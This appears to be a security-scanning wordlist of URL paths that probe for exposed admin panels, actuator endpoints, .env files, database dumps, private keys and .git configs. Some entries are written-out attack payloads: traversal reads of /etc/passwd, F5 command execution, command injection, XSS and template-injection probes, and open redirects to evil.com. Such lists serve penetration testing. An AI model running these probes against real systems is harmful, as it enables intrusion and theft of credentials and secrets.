leaky-misconfigs.txt

/jkstatus/
/altair
/brightmail/servlet/com.ve.kavachart.servlet.ChartStream?sn=../../WEB
/php/phpmyadmin/
/api/profile
/mappings
/aims/ps/
/hybridconfig/
/actuator/statistics
/system
/Telerik.Web.UI.WebResource.axd?type=rau
/airflow.cfg
/..;/examples/servlets/index.html
/web/phpmyadmin/
/.htpasswd
/..;/examples/jsp/index.html
/bundles/kibana.style.css
/api/api
/ipython/tree
/adfs/services/trust/2005/windowstransport
/playground
/api/apidocs/swagger.json
/console
/dialin/
/evil.com//
/filezilla.xml
/mifs/login.jsp
/examples/jsp/index.html
/rest/api/2/dashboard?maxResults=100
/web/adminer.php
/log/error.log
/localhost.sql
/error.log
/log/errors.log
/host.key
/app/kibana/
/actuator/caches
/controller/config
/api/apidocs
/actuator/configurationMetadata
/forum/phpmyadmin/
/api/swagger/swagger
/actuator/events
/ckeditor/samples/
/temp.sql
/josso/%5C../invoker/EJBInvokerServlet/
/app/etc/local.xml
/alps/profile
/dashboard/
/owa/
/Dockerrun.aws.json
/provider.tf
/phoneconferencing/
/actuator/refresh
/apc.php
/actuator/configprops
/druid/coordinator/v1/metadata/datasources
/..;/manager/html
/invoker/JMXInvokerServlet/
/schema
/shutdown
/cluster/cluster
/mgmt/tm/sys/management
/IdentityGuardSelfService/images/favicon.ico
/requesthandler/
/dfshealth.html
/api/_swagger_/
/actuator/status
/authorization.do
/index.htm
/asdf.php
/pinfo.php
/invoker/JMXInvokerServlet
/.env.prod.local
/api/whoami
/editor/ckeditor/samples/
/admin/adminer.php
/media../.git/config
/.env.production.local
/api/swagger
/api/swagger.json
/actuator/sessions
/mysql.sql
/adjuncts/3a890183/
/adminer.php
/actuators/mappings
/exchange/
/homepage.nsf
/.env
/install.php?profile=default
/admin/login.html
/evil.com/
/config/database.yml
/autodiscover/
/admin/logs/error.log
/actuator/liquibase
/virtualems/Login.aspx
/rest/api/2/project?maxResults=100
/graphiql.css
/actuator/sso
/mrtg/
/certprov/
/logs/errors.log
/graphql/schema.yaml
/graphql
/static/..%5c..%5c..%5c..%5cetc/passwd
/actuator/resolveAttributes
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
/phpmyadmin/
/mcx/mcxservice.svc
/actuator/scheduledtasks
/webalizer/
/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd
/sphinx
/eam/vib?id=/etc/issue
/CgiStart?page=Single
/express
/logs/error.log
/cacti/
/requesthandlerext/
/..;/examples/websocket/index.xhtml
/actuator/releaseAttributes
/events../.git/config
/Reports/Pages/Folder.aspx
/public/adminer.php
/actuator/features
/.svn/prop
/webmin/
/webadminer.php
/josso/%5C../invoker/JMXInvokerServlet/
/bundles/login.bundle.js
/static/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd
/api/swagger/index.html
/portal
/stat.jsp?cmd=chcp+437+%7c+dir
/user/2
/druid/coordinator/v1/leader
/meet/
/owncloud/config/
/oab/
///evil.com/%2F..
/rgs/
/tiki
/CTCWebService/CTCWebServiceBean?wsdl
/static../.git/config
/_cat/indices
/Telerik.Web.UI.DialogHandler.aspx
/threaddump
/dump.sql
/package
/users.sql
/info.php
/Trace.axd
/mifs/c/d/android.html
/zp/zp
/actuator/metrics
/filter/jmol/iframe.php?_USE=%22};alert(1337);//
/trace
/actuator/beans
/admin/log/error.log
/actuators/trace
/webticket/webticketservice.svc
/time.php
/_cat/health
/config/postProcessing/testNaming?pattern=%3Csvg/onload=alert(document.domain)%3E
/actuator/jolokia
/apc/apc.php
/tools/adminer.php
/graphql/graphql
/jasperserver/login.html?error=1
/actuators/env
/api/swagger.yml
/api/swagger.yaml
/profile
/status/selfDiscovered/status
/sessions/new
/access/config
/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file
/INF/maven/com.atlassian.jira/atlassian
/vendor/composer/installed.json
/backup.sql
/graphql.php
/api/swagger/ui/index
/examples/servlets/index.html
/powershell/
/PRTG/index.htm
/certsrv/
/groovyconsole
/error/error.log
/unifiedmessaging/
/webadmin/start/
/admin/logs/errors.log
/actuator/registeredServices
/package.json
/admin/errors.log
/static/..%5c..%5c..%5cetc/passwd
/+CSCOE+/logon.html
/xprober.php
/loggers
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
/actuators/dump
/auditevents
/api/application.wadl
/.composer/composer.json
/errors/errors.log
/jolokia
/..%5c..%5c..%5c..%5cetc/passwd
/api/jsonws
/webticket/
/zenphoto/zp
/microsoft
/translate.sql
/elmah.axd
/email/unsubscribed?email=test@gmail.com%27\%22%3E%3Csvg/onload=alert(1337)%3E
/..%5c..%5c..%5c..%5c..%5cetc/passwd
/adminer/index.php
/api
/actuator/management
/actuator/env
/gallery/zp
/jira/secure/Dashboard.jspa
/actuators/
/privatekey.key
/public/
/query
/api/swagger/static/index.html
/swagger/swagger
/security.txt
/..%5cetc/passwd
//evil.com/%2F..
/control/login
/////evil.com
/domcfg.nsf
/auth.html
/.env.development.local
/server
/ocsp/
/sql.sql
/explore
/VirtualEms/Login.aspx
/graphiql/finland
/actuator/springWebflow
/reach/sip.svc
/persistentchat/
/web.config
/actuator/httptrace
/logon/LogonPoint/custom.html
/sitemanager.xml
/certenroll/
/i.php
/error.txt
/configprops
/logon/LogonPoint/index.html
/actuator/trace
/rails/actions?error=ActiveRecord
/sslmgr
/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
/cloudfoundryapplication
/ecp/
/examples/jsp/snp/snoop.jsp
/key.pem
/ews/
/asynchPeople/
/php
/scheduler/
/login?next=%2F
/user/0
/actuator/integrationgraph
/ansible.cfg
/.env.dev.local
/jolokia/exec/ch.qos.logback.classic
/global
/flow/registries
/blog/phpmyadmin/
/content../.git/config
/crx/de/index.jsp
/crossdomain.xml
/secure/ManageFilters.jspa?filter=popular&filterView=popular
/adminer/adminer.php
/api/spec/swagger.json
/aura
/health
/search?search_key={{1337*1338}}
/config/databases.yml
/fw.login.php
/php.php
/AirWatch/Login
/actuators/logfile
/css../.git/config
/errors.log
/admin/views/ajax/autocomplete/user/a
/admin/
/.svn/entries
/vpn/index.html
/pods
/xampp/phpmyadmin/
/secure/Dashboard.jspa
/index.jsp
/actuator/ssoSessions
/sap/hana/xs/formLogin/login.html
/manager/html
/static/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd
/lfm.php
/my.key
/installer
/actuator/logfile
/actuator/healthcheck
/ueditor/php/getRemoteImage.php
/js../.git/config
/xmlrpc.php
/IdentityGuardSelfService/
/api/docs/
/db.sql
/gotoURL.asp?url=google.com&id=43569
/fckeditor/_samples/default.html
/guest/users/forgotten?email=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E
/lol/graphql
/store/app/etc/local.xml
/.settings/rules.json?auth=FIREBASE_SECRET
/MRTG/
/actuators/health
/opcache
/groupexpansion/
/actuator/hystrix.stream
/crowd/console/login.action
/graphql/schema.json
/rpcwithcert/
/api/cask/graphql
/database.sql
/api/jsonws/invoke
/static/..%5c..%5c..%5c..%5c..%5cetc/passwd
/examples/websocket/index.xhtml
/dbdump.sql
/actuator/conditions
/server.key
/Orion/Login.aspx
/infophp.php
/autoconfig
/admin/error.log
/swagger
/..%5c..%5cetc/passwd
/etc/
/dispatcher/invalidate.cache
/actuator/mappings
/site.sql
/actuator/loggers
/solr/
/./../../../../../../../../../../etc/passwd
/admin/login
/lib../.git/config
/data.sql
/static/..%5c..%5cetc/passwd
/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https
/tmui/tmui/login/welcome.jsp
/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
/sfsites/aura
/status%3E%3Cscript%3Ealert(31337)%3C%2Fscript%3E
/abs/
/.htaccess
/rgsclients/
/HyperGraphQL
/PMUser/
/api/__swagger__/
/.well
/mysqldump.sql
/static/..%5cetc/passwd
/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd
/user/3
/dump
/meeting/
/errors.txt
/actuator/heapdump
/hystrix.stream
/apache
/counters
/toolsadminer.php
/actuator/loggingConfig
/sidekiq
/logfile
/evil%E3%80%82com
/irj/portal
/api/index.html
/private
/views/ajax/autocomplete/user/a
/emergency.php
/cp/Shares?user=&protocol=webaccess&v=2.3
/images../.git/config
/zipkin/
/phpversion.php
/controller/registry
/druid/index.html
/www.key
/autoupdate/
/mcx/
/img../.git/config
/login.jsp
/jmx
/user/1
/test.php
/perl
/webconsole/webpages/login.jsp
/actuator/exportRegisteredServices
/ucwa/
/help/index.jsp?view=%3Cscript%3Ealert(document.cookie)%3C/script%3E
/adminer/
/application.wadl?detail=true
/invoker/EJBInvokerServlet/
/blog/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0=
/FileZilla.xml
/actuator/auditevents
/actuator/auditLog
/graphql/schema.xml
/conf/
/rpc/
/ADSearch.cc?methodToCall=search
/admin//phpmyadmin/
/adminadminer.php
/exchweb/
/druid/indexer/v1/taskStatus
/graphiql
/.redmine
/tmui/login.jsp
/actuator/threaddump
/jolokia/list
/actuators/shutdown
/actuator/dump
/data/adminer.php
/admin/login/?next=/admin/
/s/sfsites/aura
//evil.com/..;/css
/management
/admin/index.php
/webclient/Login.xhtml
/assets../.git/config
/phpinfo.php
/MicroStrategy/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https
/webticket/webticketservice.svcabs/
/actuator/shutdown
/actuator/flyway
/php/adminer.php
/_cluster/health
/composer.lock
/systemstatus.xml
/userportal/webpages/myaccount/login.jsp
/prtg/index.htm
/..%5c..%5c..%5cetc/passwd
/publicadminer.php
/.svn/text
/remote/login
/laravel
/jolokia/version
/mifs/user/login.jsp
/zp
/CTCWebService/CTCWebServiceBean
/plugins/servlet/gadgets/makeRequest?url=https://google.com
/rest/tinymce/1/macro/preview
/secure/ConfigurePortalPages!default.jspa?view=popular
/secure/ManageFilters.jspa?filterView=search&Search=Search&filterView=search&sortColumn=favcount&sortAscending=false
/secure/popups/UserPickerBrowser.jspa
/servicedesk/customer/user/login
/servicedesk/customer/user/signup